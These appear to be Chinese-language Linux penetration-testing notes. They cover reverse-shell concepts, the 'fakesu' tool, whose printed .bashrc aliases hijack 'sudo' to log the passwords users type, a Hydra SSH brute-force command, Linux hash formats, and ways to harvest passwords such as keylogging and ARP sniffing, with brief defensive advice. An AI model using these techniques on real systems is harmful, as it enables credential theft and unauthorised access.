1. 使用fakesu记住root密码
在Linux渗透中,比较容易获得WebShell权限。本节主要探讨记住密码的方法。
反弹shell
参考
Linux 反弹shell(一)文件描述符与重定向
Linux 反弹shell(二)反弹shell的本质
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
1.1 使用fakesu记住root用户的密码
python版 fakesu
每当用户输入sudo …时,密码将记录到文件里。
用法:
python install.py # 密码存储路径为HOME目录加上文件名(随机)
.bashrc文件中将新增
Type () {
python /home/mark/.sHCjoZ type $*;
}
alias type="Type"
alias sudo="python /home/mark/.sHCjoZ sudo "
2. 使用Hydra暴力破解Linux密码
Hydra是顶级的开源密码破解工具。
可以结合CUPP密码生成工具使用。
mark@kali:$ hydra -l username-P pw.dict -t 4 -vV -e ns 123.45.6.78 ssh
3. Linux系统账号密码
3.1 Linux密码构成
涉及系统登录密码的两个重要文件:
- /etc/shadow
- /etc/passwd
/etc/passwd文件组成格式为:username:x:UID:GID:username full:username home:shell type
3.2 Linux采用的加密算法
Linux系统目前采用了5中加密算法,可以通过加密后的密码值来识别,主要是通过$X后的X进行判断:
- $1: MD5
- $2: Blowfish
- $5: SHA-256
- $6: SHA-512
- ELSE: DES
3.3 获取Linux 密码的方法
- 键盘记录获取法
- 编译一个修改过的SSH或者内核键盘记录软件
- Sniff
- Dsniff。ARP欺骗再分析密码
- fakesu
- brute force
3.4 Linux root账号密码防范技术
- 设置高强度密码
- rootKit检测
- 定期升级系统以及打补丁
3.5 获取Linux版本及信息
mark@kali:~/Documents/test$ uname -ar
Linux kali 5.2.0-kali3-amd64 #1 SMP Debian 5.2.17-1kali2 (2019-10-17) x86_64 GNU/Linux
mark@kali:~/Documents/test$ cat /etc/issue
Kali GNU/Linux Rolling \n \l
mark@kali:~/Documents/test$ ssh -V
OpenSSH_8.1p1 Debian-1, OpenSSL 1.1.1d 10 Sep 2019